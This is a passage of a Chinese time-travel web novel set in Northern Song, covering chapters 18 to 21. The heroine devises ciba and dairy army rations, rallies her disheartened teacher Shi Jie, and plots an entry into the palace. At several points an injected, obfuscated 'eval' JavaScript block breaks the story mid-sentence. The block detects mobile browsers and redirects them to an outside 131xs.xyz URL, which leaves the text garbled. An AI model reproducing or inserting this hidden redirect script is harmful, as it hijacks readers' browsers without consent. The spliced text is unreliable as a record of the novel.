刘耘娘亦点头称是，心想着刚好借此机会全家出门，游览郊野风光。 吴悦放了一招大的，便脚底抹油溜了。 之后，她依旧保持着规律的生活节奏，上午去学堂读书，下午在家为美食而奋斗。 已成功琢磨出奶酪的做法，给自己弄了一小袋。要知道，家中两天才能吃上一回羊肉，因杀牛触犯律法，市面上几乎见不到牛肉，这奶酪便成了她补充蛋白质、脂肪和钙质的宝贝。时不时掰两块嚼嚼，权当给身体“加餐”。 她的下一步计划是研究糍粑。虽说北宋已有糍糕（如南城最大的糕点店便售卖糯米粉蒸制的花糕、糖糕），但油炸糍粑却未见踪影。 后世常用烟点更高的植物油炸糍粑，不过在湖南、江西等地，仍保留着用猪油炸的传统。 炸好的糍粑外脆内软，淋上糖酱、撒满黄豆粉，便是她前世在湘菜馆、火锅店必点的小吃。若将软糯的糍粑块铺在红豆沙、绿豆沙或鲜奶上，再配上水果、坚果碎与糖浆，更是色彩缤纷、口感丰富，既美观又饱腹感极强。 她打算先在东京城推广糍粑，让普通百姓熟悉其食用方式，再逐步辐射到京城十万禁军，减少士兵对新食物的抵触，为日后将糍粑纳入军粮体系打下基础。这与她推广酸奶、黄油制品的思路如出一辙——不能直接强调营养价值或否定传统中原饮食观念，而需从“美味可口、造型精美，符合东京城作为都城的饮食风尚”入手。 纵观历史，中国的技术停滞并非源于智力缺陷，而是文化心态制约所致，也就是中原文明长期存在的“自我崇高”倾向。 中国虽最早发明火药，但长期将其用于节庆烟火与低效火器，士大夫阶层普遍视火器为“奇技淫巧”，以“祖宗之法不可变”为由的抵制，导致军事革新滞后。 水力鼓风（水排）、水力纺车（水转大纺车）在宋代已成熟，但主要用于农业与手工业，始终停留于小规模应用，未能像荷兰那样发展出风车群与排水造陆系统。但是早在元代《南村辍耕录》中，就记载民间工匠曾尝试以水力驱动风箱助燃，类似早期蒸汽机原理，但因缺乏理论支持与官方资助，未能突破实验阶段。 中原士大夫素将游牧民族的乳酪、奶茶视作“腥膻之物”。《齐民要术》虽记载制酪之法，却仅限于宫廷对异域美食的猎奇。上行下效之下，普通汉人亦抵触这些“蛮夷之物”，致使乳制品加工技术长期被边缘化。反观元军骑兵，凭乳酪与奶粉得以横行欧亚，而中原地区仍以粟米为主，这种自汉代起便是主要军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609433|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粮的作物，千年来竟未获实质性革新。 广西、贵州等地的糯米糍粑，被中原士人斥为“蛮夷粗食”。南宋刊行的《岭外代答》便称其“黏腻不堪登大雅之堂”。反观江南稻米文化，经江浙士大夫的推崇，成功跻身“雅食”之列。西南糍粑因缺乏文化话语权，朝中又无出身于该地区的士大夫为之背书，始终被主流饮食文化排斥在外。 因此，她面临的最大难题，并非凭空创造新物，这些东西在当世早有雏形，而是如何打破中原农耕文明根深蒂固的文化傲慢。 以糍粑作行军粮并非她的异想天开。她爹若想在供备库副使任上更进一步，需拿出实实在在的业绩，而她早已在琢磨，如何让糍粑成为几年后狄青征讨侬智高时的合用军粮。 作为高碳水化合物食品，糯米糍粑消化后能迅速转化为葡萄糖，其支链淀粉结构更易分解，可快速补充体力，尤其适合大战前或高强度急行军时的能量供给。 早在明代，贵州土司军队便将糍粑与炒米、盐巴混合压制，加入少量茶油以延长保质期、提升口感与热量密度，制成便于携带的“行军粮”。 清末时，太平军行军时亦携带“火烤糍粑”，将糍粑切片后炭火烤至外焦内软，既方便短期储存，又可在途中即食。 反观当下主流的行军粮，晒干的熟粟米，虽富含B族维生素与铁元素，能缓解长途行军引发的贫血，且耐储存，但升糖慢、消化慢，难以满足高强度作战的即时能量需求，更适合作为长期行军或围困等恶劣条件下的应急粮。长期单一食用，还易导致夜盲症高发。 后世“小米加步枪”的选择，正是由于当时国民党奉行“经济绞杀”政策，迫使我方被困在山区根据地，陷入“困死饿死”的绝境，才不得不因陋就简。 而金军乃至后来的元军，其“乳酪+奶粉+风干肉”的轻便高热量补给模式，完美适配运动战。打赢即撤、抢完即走，无需生火埋锅，马背上就能边跑边进食，机动性极强，令宋军难以追击。 而宋军过度依赖静态防御与绵长的后勤补给线，既无法解决机动部队的粮草即时供应问题，又因辎重拖累导致行动迟缓：发现敌军踪迹时，粮草难以及时跟进；若携带大批粮草，则因行军速度过慢屡屡错失战机。这一后勤困境，在明朝对抗蒙古、女真时也反复上演。 这就像出门旅游，长辈非要你带上电饭煲里的米饭、保温盒中的青椒炒肉、一袋子现煮茶叶蛋，还有洗净的西红柿和黄瓜。 结果还没到目的地，就被催着吃掉仨鸡蛋、俩西红柿、两根黄瓜，长辈还嫌保温盒占地方：“这些东西怎么这么沉？”最后只能你负重前行，拖着行李寸步难行，游玩兴致全消。 所以聪明的做法是，下次只带两包饼干、即冲奶茶和一袋猪肉脯。轻便易携，既能减负重，又能保障能量供给。 因此，她计划改良糍粑：将糯米混合大米制成糍粑，再与炒豆、盐、糖混合压制。冬季低温环境下，干燥的糍粑不易变质，寒冷能抑制虫蛀霉变，只需配备火源加热即可食用。若再搭配无需加热的奶粉与奶酪，便可同时满足常规行军与快速机动部队的补给需求。 低温环境里，多么适合北伐啊！光是想想就让人热血沸腾。 放心吧，我迷人的岳将军，我会为你提前准备好高热量、便携且食用方便的行军粮，保证你未来能直捣黄龙。 19. 第 19 章 晚饭后，她照旧开设识字课堂，教导青枣和大丫识字。 没错，这次加上了大丫。 她爹娘采纳了她的建议，让大丫和杨氏来学习熬制猪油与炒制红烧肉。这两道工序本身并不复杂，加上店铺尚未开张，二人学会后便无事可做。 原本杨氏打算外出找零工，大丫也准备继续出城拾柴，却被刘耘娘劝阻。以家中琐事繁多，王婆年事已高，既要指导他人烤制火烧，又因身体原因难以承担过多事务；吴王氏身边缺乏陪伴之人，杨氏正好可以在旁协助，兼顾厨房厨娘，等做完晚饭再回去。至于大丫，在等她娘干活的期间，刚好被吴悦捉来识字。 捧着自己写的字爱不释手，大丫反复端详着惊叹道："这真的是我写的吗？我竟然会写字了！"声音里满是难以置信的惊喜。 过了许久才平复情绪，朝着吴悦恳求地说。 “小娘子，求您给我起个名字吧。”眼中闪烁着渴望的光芒。 吴悦思索片刻，将她刚刚写的大字递到她手中。“你在我这里学了近五日，已识得十个字，待两个月后便能掌握百字。何不由自己来决定姓名？" 她希望每个女子都能主宰自己的命运，而名字的自主权正是觉醒的开端，被他人赐名总带着附属的意味。 青枣在旁笑着点头："我的名字便是因爱吃青枣而起的。" 虽然未能立即拥有新名字让大丫微微失落，但自主取名的提议却在她心中有些火热，暗暗发誓要加倍努力学习识字，一定要为自己选个独一无二的名字，而非是这随处可见的‘大丫’。 “你回家去吧，明早先生还要检查背诵，我得再去温习一遍。”趿着自己的特制拖鞋，鞋面还有着王婆手缝的狸猫。吴悦转身就想往内室走去，却又被青枣喊住。 “小娘子，大丫还有话说。” 青枣拉着大丫的衣袖，将她推到吴悦面前。 “怎么？”吴悦驻足，鼓励的看向她。 大丫嘴唇颤动片刻，终是鼓起勇气：“求小娘子让我阿婆也来府上帮忙吧，我阿婆可以浆洗衣服，可协助王婆与夫人打理膳食。我往后炼完猪油，也能帮着烧柴、打水，我们什么都能做，还望小娘子代为向夫人求情。” 没错，之前一家人的饮食都是由王婆与刘耘娘轮流操持，青枣在旁打下手。 吴家起于微时，早几年吴王氏也会下厨做饭，乡下娘子谁不干活啊，来了这东京城倒是有些怪异。 此前还有人劝过她娘："七品武官夫人怎可亲自下厨？传出去失了体面。"无奈家中事务繁多，朝廷分派的仆役又迟迟不来，这才只能让她们自己亲自下厨。 反正乡下人吃的也简单，向来是大锅菜配面饼，俗称一碗端。如今还可以用猪油煮面、拌饭，就更加简便了。 现在，全家唯一吃的精细的就是她。奶酪从不离手，还隔三差五的给自己做碗酸奶解馋。 “倒也不是不行”。 吴悦想了想，家中确实缺一个专职厨娘，她娘和王婆年纪渐长，身子骨只会愈发的不济，添个人手分担倒也合适。“那你就把你妹子也带着吧，我和青枣每天都要喝一碗羊奶，也让她跟着喝些，你也是，不要嫌弃膻，这个很滋补女儿家的。” 想了想，又道：“这样，家里还有个耳房，我去问问娘能不能让你们一家住下。这样你也不用每晚和你娘摸黑回去，这么黑也挺吓人的。” 这几天，杨氏在家帮厨，都是做完晚饭洗完碗才走，大丫就刚好在她娘收拾厨房的时候在她这认字。 大丫听完，连连称谢，居然又欲下跪磕头。青枣忙拉着她往外走："不用跪，咱们小娘子不喜欢这样。" 吴悦也不急着背书了，先去刘耘娘那把这事敲定。 来到她娘屋里，见她爹依旧不在屋中，而刘耘娘正依照她教的三账分理法整理今年的账册。 "娘！"她扑了上去。 待女儿说明来意，刘耘娘颔首允准："杨氏的厨艺我也看在眼里，有她相助再好不过。空着的耳房收拾下，就让她们住下。" 这几日杨氏掌勺，也让刘耘娘备感轻松。阖府上下得厨艺皆属平常，偏杨氏就能做出酒楼水准的菜肴，众人啧啧称奇。甚至询问厨艺这般了得，怎么不自己开个小吃摊呢？ 杨氏苦笑道："不是没有尝试，只是我一个寡妇抛头露面，总会有市井无赖来滋扰，摊子被砸了两回，也就死了这份心。" 她们这才知晓杨氏的难处，即便青天白日，也会有人寻上家里上门骚扰。刘耘娘长叹一声："寡妇门前是非多，这话半点不假。" "便让大丫与青枣同住，杨氏婆媳三人住那间空的耳房，如此也宽敞些。"刘耘娘斟酌道，"大丫与杨氏的月钱照发，她阿婆的工钱便以房租抵了。这耳房也是空置，算物尽其用。" 这般安排，她们肯定是吃亏，等于管吃管住还另付双份工钱，其中一个还是未成年的丫头。但刘耘娘也有考量，杨氏母女四人孤女寡母，手无缚鸡之力，现在手头里又有了钱，住在城外贫民窟有些危险，不如接入府中，收纳为自己人。 "谢谢娘！"吴悦喜不自胜，行了个利落的福礼便往外跑，这下可以安心的背书去了。 也就三四日，杨氏一家四口就搬了进来。 其婆母李二娘的厨艺虽然没自己儿媳做的好吃，却比刘耘娘做得强许多。 而路与终于应聘上岗，成为吴父的贴身随从。没错，自吴父擢升七品指挥使，依例可配置二至三名亲兵护卫，负责日常事务与护卫。此前申报的名额一直没有批复，直到近日才下了正式允准，路与从此也算吃上了皇粮的人了。 那么新的难题就随之而来，路与跟着吴父上职去了，以后每日如何送兄妹二人上学？如果只有吴夏一人尚可骑马，偏还要带上小妹，便只能以牛车代步。 路伯本欲代子护送，却被吴父拦下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609434|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> "老张头虽断了右臂，"拍着独臂旧部的肩膀，吴父朗声道，"当年对抗西夏，单臂持槊连挑三员敌兵！驾车这点小事，岂在话下？" 于是每日卯时，独臂张阿牛便候在吴府门前送他们上学。午间先从石府接吴悦返家，申时又至石府接吴夏回家。 这么一来一回往返数次后，石介也知道给她们驾车之人，是他们爹麾下伤残士卒，还特意出来与张阿牛交谈，询问了像他们这种伤残士卒的具体安置措施。 北宋实行募兵制，士兵终身为兵，因伤病无法服役的可以转为剩员，但是只会发放一半俸禄。自愿解甲归田者，朝廷一次性发放3石（约317斤）粟米，并分配荒田，提供农具和种子。若士卒战殁或因伤致死，家属每月领取3斗米（约31斤）的救济粮，并且免除赋税。 然而这个政策却很难执行，因为北宋"不抑兼并"，荒田开垦成本高昂。荒田需三年以上才能改良耕种，而垦成良田后又常遭豪强侵夺。所发粟米仅能果腹，日常生计仍需货币开支，大多数人仅能勉强维生。 这种"养兵百万，老弱杂糅"的局面，使军队战斗力严重下滑。范仲淹戍守西北边疆期间，亲历对西夏、辽作战，深刻认识到冗兵与低效并存的积弊。 基于对北宋军事积弊的深刻认知，他在庆历新政中提出军事改革方案。针对"将不识兵、兵不识将"的更戍法，他用"将兵法"代替，将边防军划分为若干指挥单位，由固定将领长期训练指挥。针对冗兵导致的财政危机，又主张"筑城屯田"，在西北沿边修建大顺城等军事堡垒，推行士兵垦荒自给制度，"使士卒自耕以食，减馈运之劳"。 这些改革举措短期内显著提升了西北边防战力，秉持的“以战促和”思想也扭转了宋军被动防御局面。 范仲淹的军事改革，与后世国际关系中的奉行的战略理念，“战场上打不赢，谈判桌上谈不拢”和“打得一拳开，免得百拳来”有异曲同工之妙。 然而，这场触及官僚集团既得利益的改革，因保守派的激烈反对而夭折，最终在政治斗争中全盘废止。 石介作为范仲淹《答手诏条陈十事》的坚定支持者，甚至因此被人陷害结党而罢免。虽然闲赋在家，其人还是心系朝政。眼见朝中反对声浪日甚一日，他还特意去范府探望，却发现昔日锐意改革的名臣竟也愁眉不展，竟不复往昔激昂之志。 庆历年间，为应对辽与西夏的军事威胁，北宋禁军与厢军总数达一百二十五万，军费开支占财政支出七成。冗兵问题正是新政试图破解的困局，故而石介见到张阿牛这样的伤残老兵，特意来了解军中实情。 望着独臂老兵在府外站岗，虽断一臂仍军姿挺拔，石介已经佩服不已。他在交谈中也得知兵卒们都生活艰辛，可是朝廷大笔的钱发下去了，国家财政濒临崩溃，士兵们又过得悲惨，这到底又是哪里出了错？他坚信新政改革是必要的，但是为什么就推不下去呢？ 20. 第 20 章 难啊，都难。 石介摇摇头，转身走回书房。 吴悦敏锐察觉到了石介情绪低落，她猜测庆历党争应该到了最关键的时刻。 历史上有几大著名的党争，分别是牛李党争、庆历党争、元祐党争以及东林党争，皆深刻影响了王朝命运。 牛李党争起源于科举制对门阀制度的冲击。牛僧孺代表的科举官僚集团与李德裕为首的山东士族集团形成对立：李党重门阀世胄，牛党重科举出身；李党主张武力削藩，牛党倾向妥协安抚。这场持续四十年的党争，最终随唐王朝的衰亡而落幕。 庆历党争将在明年落下帷幕，保守派与改革派互相攻讦"结党营私"。北宋时期的改革派与守旧派常以“变法”或“祖宗之法不可改”为旗号，实质就是权力斗争。 元祐党争是高涛涛在儿子神宗死后，起用司马光废除王安石变法，新旧党争从政策分歧演变为无底线倾轧。这场党争不仅导致北宋政坛分裂，更埋下靖康耻的隐患。 这些党争如同慢性毒药，不断消耗国家元气。统治集团陷入内耗漩涡，行政效率江河日下，最终将王朝推向覆亡深渊。 果不其然，次日，石介就给他们放假。 要去送因为遭保守派弹劾结党营私、欺罔专权，而被宋仁宗为缓解压力，借“宣抚”之名调离中枢的范仲淹离京。 范仲淹的外放，标志着改革派在中央话语权的削弱，也是原本历史线上，石介心死的主因。 等到他们再复课时，吴悦发现石介神色憔悴，面如死灰，仿佛生机尽失。 早在今年三月份，夏竦指使家奴模仿石介笔迹，伪造了一封给富弼的信，内容是改革派计划废掉仁宗另立新君，石介因此被罢免。历史上的他将会在明年，庆历五年（1045年），被贬为濮州（今山东鄄城）通判，还未上任，就病卒于家，终年四十一岁。 石介之死并未终结政敌的迫害，夏竦等人欲置改革派于死地。徐州孔直温谋反案发后，夏竦从其家中搜出石介早年书信，竟诬告死者“诈死投辽”，称其前往契丹借兵。 这一招狠毒至极，宋仁宗两次下诏欲开棺核查，幸得杜衍、吕居简等重臣担保，石介才得免掘墓之辱。欧阳修对此义愤填膺，于庆历六年（1046）愤然写下三百五十字的五言长诗《重读徂徕集》，痛斥夏竦等人侮辱死者的卑劣行径。 就算在后世，法医验尸也被很多人所忌讳，更不要说在这一千年前的北宋了。 儒家经典《孝经》强调“身体发肤，受之父母，不敢毁伤”，认为完整保存遗体是对父母的孝、对祖先的敬。古人还普遍相信人死后灵魂不灭，且灵魂需依托遗体安息。开棺还会被认为破坏墓地“生气”，直接影响家族运势。 因此，古代法律对开棺行为有严格限制：唐代《唐律疏议》规定“诸发冢者，加役流”，私自开棺属重罪；宋承唐制，宣称自己是从唐朝延续的中原正统王朝，在《宋刑统》中延续此律，即便官方验尸也需遵循严格程序。即便如此，开棺仍会遭到民间舆论抵触，诸如“断子绝孙”“死者不得安宁”等言论广为流传。 政治斗争向来是残酷无情的，吴悦深知这一点。她未来也必将直面这般现实，因此必须让自己更加狠绝果决。 她尤为欣赏石介，这位秉持民本思想的大儒，坚定支持孟子“民为贵，社稷次之，君为轻”的主张。 在石介眼中，真正的“仁义”并非固守表面的小恩小惠，诛杀贪官污吏虽看似“杀伤虽多”，实则是顺应天下百姓意愿的大仁大义。 然而朝中群臣却因畏惧成为下一个被清算的对象，动辄搬出宋太祖赵匡胤“不杀士大夫及上书言事人”的祖训，对贪腐官员一味从轻发落，至多不过贬谪流放。 他对豪强权贵的痛斥更是尖锐刺骨，揭露这些人平日里“贪求荣华不知收敛，聚敛财富毫无节制，饱食终日醉生梦死”，一旦国家面临危机（如抵御辽、夏入侵），便“拖延君命躲在家中”，或是“声称才能不足以担当大任”，讽刺之词入木三分。 石介甚至肯定陈胜不堪秦朝繁重徭役、愤然起兵灭秦的举动，赞其为英雄。这般直言不讳的批判，自然触动了既得利益者的神经，也为他招致了政敌的忌恨与迫害。 这样一位心怀天下、敢于直言的士人，她实在不愿见他因政治打压而心病缠身、过早凋零。 也给她上了一课，政治斗争的绞杀绝对不能手软，唯有在这波谲云诡的漩涡中磨砺出更狠绝的心智，或许才能在保全自身的同时，守护心中的道义与理想。 “先生” 她起身，手捧《续齐谐记》立于正自出神的石介案前，“小女有不解之处”。 石介回过神来，望着眼前这位旁听生，对方天资聪颖且好学，此前他常为其身为女儿身不能博取功名而惋惜。此刻反观自己，身为男子，痴长到不惑之年，却毫无建树。人生无望，又有什么好说的呢？ “吾愿为小娘子解惑”。嘶哑的嗓音传出，石介还是强打起精神，做到师者的职责。 “近日读南朝梁国吴均所撰《续齐谐记》，记载屈原五月五日投汨罗江后，楚人为表哀思，‘以竹筒贮米，投水祭之’”。吴悦展卷指陈，"小女不解，屈原为何非要选择投江？" 石介微微动容，这小娘子读书之博，竟比家学渊源深厚的吕希哲犹胜三分。他抚髯沉吟：“你认为不该如此？"转而点名吴夏，"你且说说，屈原缘何赴死？" 吴夏起身长揖："回先生的话，此乃士大夫的气节抉择。屈原在《怀沙》中写道‘知死不可让，愿勿爱兮’，他将死亡视为维护人格尊严和政治理想的最后手段。” “不对，我认为这种个人的气节坚守毫无意义。”吴悦朗声道，“孔子周游列国而不馁，太史公受腐刑而著《史记》。” 她引经据典进行反驳：“《易》云‘天地不交，否’，然否卦之上九终有‘倾否’之机。” 否。否之匪人。不利君子贞。大往小来。 象曰：天地不交，否。君子以俭德辟难，不□□以禄。 意思就是天地隔阂不能交感，万物咽窒不能畅釜，这是否卦的卦象。君子观此卦象，从而在国家政治否塞之时，应思隐居不仕，以崇尚俭约来躲避灾难，不要以利禄为荣。 北宋大家邵雍，又称安乐先生，解此卦为：大往小来，闭塞不通，否极泰来，修德避难。得此卦者，万物闭塞之象，上下不合，诸事不顺，凡事宜忍，须待时运好转而有为。 吴悦却还没结束。 “我家新雇佣的杨氏一门两寡，仅有两女，大女儿年方9岁，幼女尚在襁褓。此前她们家徒四壁、朝不保夕，每至更深，母女每晚饿着肚子相拥而眠，不知明日是否要抚着至亲渐冷的身躯醒来。即便如此，她们仍挣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609435|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扎求生，活下去，就算多活一日，也能多感受一日暖阳。最终，她们等到了我们家雇佣，得到了这一丝转机。张阿牛亦是如此，他的儿子在我们家食店充当帮厨。而他尽管断了一条胳膊，也仍然坚持用只剩下的一只手牵牛驰车。” 她忽而转身直面石介，目光如炬：“天下苦难者众，我等无力尽救，唯有坚守内心所愿。为饥者添一碗粥，为寒者覆一衾被，为无家者辟半席檐下。被救者也要有求生之志，天地之间人为贵。虽布衣韦带，其志可凌云汉。虽箪食瓢饮，其节堪比松筠。此庶民之韧性也，纵经百世而不灭。” 这番话如重锤击醒梦中人，石介只觉一盆冰水从头浇下，刹那间从颓唐中惊醒。 是啊。 农民天不亮就下地锄草松土，月亮升起才扛着锄头回家，手脚磨出老茧也从没怨言。就算碰上大旱年头，蝗虫遮天蔽日扑过来，照样挑着水桶去溪边打水浇地，再贫瘠的土疙瘩里也能长出沉甸甸的谷穗。 再说那些织布的女子，数九寒天点着油灯，织机"咔嗒咔嗒"响得半条街都听得见。梭子磨得手指头渗血也不停手，织出来的粗布细绸，卖给富贵人家只为了换来一些钱财，得以买粮买面，求得就是活命而已。 “大道五十，天衍四十九，遁去其一。可能现在大部分结果已经既定的，但总有一个变数存在，这个变数代表了可能性和自由意志，使得未来不是完全确定的，而是有变化的余地。而我们，就要坚持等待那个变数到来。” “人生在世，就应该顺势而为，借势而进，承势而起，造势而上。” 没错没错，石老兄活久点，活到她能成为你的势。 吴悦不知自己这番话是否奏效，还准备说一些俗语劝慰，比如“留得青山在，不怕没柴烧”“好死不如赖活着”之类的话。 却见石介突然仰天大笑，满脸阴郁之气一扫而空。这畅快的笑声引得隔壁屋中的何群和吕希哲也给引来张望。 笑声未歇，他忽又重重拍击书案，跪倒在案前伏地痛哭，两行清泪顺着虬髯滑落。 这忽而狂笑忽而悲泣的情形，直看得众人目瞪口呆。吴悦离得最近，更是手足无措——这究竟是想开了，还是发疯了？ 满室众人皆屏息静气，连门外的何、吕二人也不敢贸然进来。 等待笑声渐渐停下，三人见状大惊，自家先生竟然面对一个小娘子行揖礼，也就是双手抱拳高拱，鞠躬与地面垂直。这可是对平辈或稍长于自己的长辈所用。 “谢吴小娘子教我，石某拜谢。” 吴悦也愣住了，半天才回过神来，也回了一个揖礼，道：“也谢先生不怪小女妄言。” 石介欣赏地看着眼前这个女弟子，忽而心生遗憾，若能让希文兄（范仲淹）早些得见此等璞玉该多好。现在可好，他离京了。不过没事，他可以写信啊！今晚便修书一封，详述此事。 待看到何群、吕希哲与吴夏仍呆立当场，石介生气的拂袖斥道，“看什么看，还不快去读书，连你们小师妹都不如。” 这声"小师妹"分量极重，此前他皆以"小娘子"相称。 这代表着吴悦也是石介承认的正式弟子，和他们是正儿八经的同门师兄妹。 以后吴悦可以自称弟子，而不是学生，或者小女子了。 "都回座罢。"石介整冠危坐，"接下来我们讲共叔段之乱。" 21. 第 21 章 不对劲。 不是石介不对劲，他如今倒似枯木逢春。 原先的他像一只拼命用嘴啄掉羽毛，换上了拔羽症的鹦鹉。 现在的他具象化的感觉头上的羽毛都竖起了，每日精神抖擞地在讲堂踱步。对课业要求更趋严苛，竟还给她单独布置了额外作业。 吴悦感觉不对劲，是因为好像被人盯上了，总感觉有人在偷偷观察她。 但是当她四处查看时又找不到人。 这么疑神疑鬼了几天，今日下学，她依例向石介揖别，并报备明日她生辰，爹娘要带她去城外玉仙道观祈福。 石介抚掌称善，居然还详细和她讲士族里为幼童祈福延寿都是家族大事。孩子生辰，都会前往道观举行一场庄重的长生禄位供奉仪式，借道教仙道贵生的教义，为孩子种下福寿根基。 "只是玉仙观规模较小，明日又非初一、十五或道教节日。"石介拈须沉吟，"不如改往五岳观，今上每年正月十四必亲诣五岳观行香，此乃皇家祈福之地。" 吴悦听了满脑子，什么你家怎么如此不讲究，不挑日子不挑道观，并且列数了哪家大族的小郎君都是如何豪置千金，将道教长生禄位仪轨办的是如何轰轰烈烈。还举例隔壁那吕家小子，从出生就供奉了长生禄位，还是放在五岳观的主殿，每年还会加钱举行法事，以得到增强祈福的效果。 见她垂首不语，石介又温言宽慰。吴家乃行伍出身，家中不甚了解也是正常。但是作为先生，他可以帮忙补救。他有相熟的道长，可以给吴悦在五岳观主持个开光仪式，将她的长生禄位的牌位安奉于道观延寿殿内，每日接受早晚香火供奉。每月朔望之日，道观还会为禄位持有者举行诵经法会，通过《度人经》等经典加持，增强祈福愿力。 不过就是要花点小钱，因为禄位前都需要点亮三盏明灯——延命灯佑健康，益寿灯增福慧，平安灯护周全。这每盏灯需连续供奉七日，期间要持诵相应祝咒。而供奉禄位需持续三年以上，不可半途而废。父母双亲也要代她行放生、助印经书等善举，这才能将功德回向给她，积累福德资粮。 她听的人都蔫了，现在家中所有钱财都去筹办食店，哪里还有余钱搞什么长生禄位，她爹娘估计听都没听过，连兄长吴夏都没这个待遇。 她爹娘以为的祈福，就是去道观上柱香，随喜功德给添加点香油钱。主要就是找个机会，带大家出来郊游玩耍，在外面吃点外卖。 石介似乎意识到自己这个弟子的家中或许不会给幼女出这比钱，毕竟当下还是重男轻女的多。 他斟酌片刻，温言劝慰垂首不语的吴悦：“五岳观有道长与我很是相熟，托他主持仪典，资费只需象征性供奉即可。回家和你爹娘好好商量下，让他们无需担心钱财问题。你元神清灵，根器利捷，但是恐有昙花一现，彗星遽没之象。” 言下之意就是，人重要还是钱重要啊，而且钱的大头包我身上，我给你拿我的面子去讨要折扣。 吴悦感受到了石介发自肺腑想让她安岁太平之意，感激之余却又隐隐担忧。她担忧的就是兄长吴夏会不会心生芥蒂，毕竟不患寡而患不均。 哥哥对她很好，有点不安，终于还是磨磨蹭蹭的出了书房，就看到立在廊下等待的吴夏，吴悦鼻子就突然一酸，一时不知道该如何说起。 吴夏却似浑然未觉，过了年他都14了，都是弱冠年纪，怎么可能会和幼妹争宠。而且他也觉得‘於惟淑妹，懿矣纯良’，这可不能让上天过早的摧残。 摸摸妹妹的脑袋瓜，喊她快点回家。他也转身回了书房，准备和何群一起，继续上下午给两人的大课。 吴悦这时感觉失去的力气又回来了，心情雀跃的准备朝大门奔，却在游廊转角处与人撞个满怀。 来人原来是吕希哲，8岁的他比她高不了多少，总角垂髫斜绾着紫金绳，身着月白交领襕衫，胸前还悬着长命锁，一幅富贵小郎君的打扮。 他嚅动数次，最后也是鼓起勇气，讷讷开口："近...近日在读些什么书？可愿与我共同学习？" 原来那日吴悦对石介所言，吕希哲也听到了，对这个比他还小的小娘子起了敬佩交好之心。 吴悦却面露菜色，她终于晓得那个盯盯侠是谁了，不是她多疑，就是这面前的吕希哲！ 啊，晦气啊，快退下，莫挨老娘。 老娘不想和你玩什么总角同窗、芸窗共读。 如果靠这同门情谊，青梅竹马，的确是高嫁入这世代簪缨吕家的晋身之阶。这可是世人眼中的大好姻缘，她和她家得积三辈子福才有这个运势。吴父知道肯定把她速速打包，直接扔了过去，那她未来岂不是被关在后宅，还怎么发挥，难道鼓动吕希哲造反吗？ 这个不行，是噩梦级别，玩不了。 她还是选择进宫努力当太后，凭子垂帘听政。再不济，也是当个没有生育的太妃，安享尊荣，然后拉大旗扯大炮，去南方名曰养老为帝祈福，实则多收养一些孤儿，照样可以出海占地。 进宫好进宫妙，宋仁宗的后宫素称清平。没公公婆婆，老公还是天底下第一人，比她年纪大还早死，死了还有一堆遗产。 古代夫死从子，子死从父，父死从兄，可是她一嫁入皇宫，和她爹那就是君臣关系，也就太后和下一任皇帝能管得住他。 但是话又说回来，赵宗实是个嗣子，天然有壁，她们这些养父的后妃肯定要出宫。 而对于曹皇后而言，对仁宗又没感情，赵家皇室的脸面和她有什么关系，偷偷溜走一个太妃，只要舆论不发酵，没人在意。 因此，入宫可能对别人来说是砒霜，可是对她来说，这可是天上掉的大馅饼，此等美事，谁都不能阻止她！ 潦潦草草的点了点头，吴悦努力扬起天真笑容一枚，喊着哎呀好饿啊，要回家吃饭了，下次聊下次聊，拎着自己的小书包就狂奔。 她决定了，以后都要小心避开这个吕希哲，如逃难般飞一样的回到了家。 回到家中，就先去找娘和阿婆，将先生所说的话清晰的转达了一遍。令她意外的是，两人听后十分欣喜，连声道多亏了先生告知，她们确实疏忽了。刘耘娘甚至把她抱在怀里，看了又看，满眼的怜爱，她们确实有担心女儿景命不遂。 晚上，待吴父下职回来，居然也十分认同此事。立刻就写好了写明吴悦生辰八字以及他们夫妻姓名的名帖，还打算明天不去玉仙观了，亲自到先生府上送去。 就这样，吴悦突然多了一天假期。 刚好黄油昨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609436|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天已经做好了，今日就让她在厨房进行发明创造。 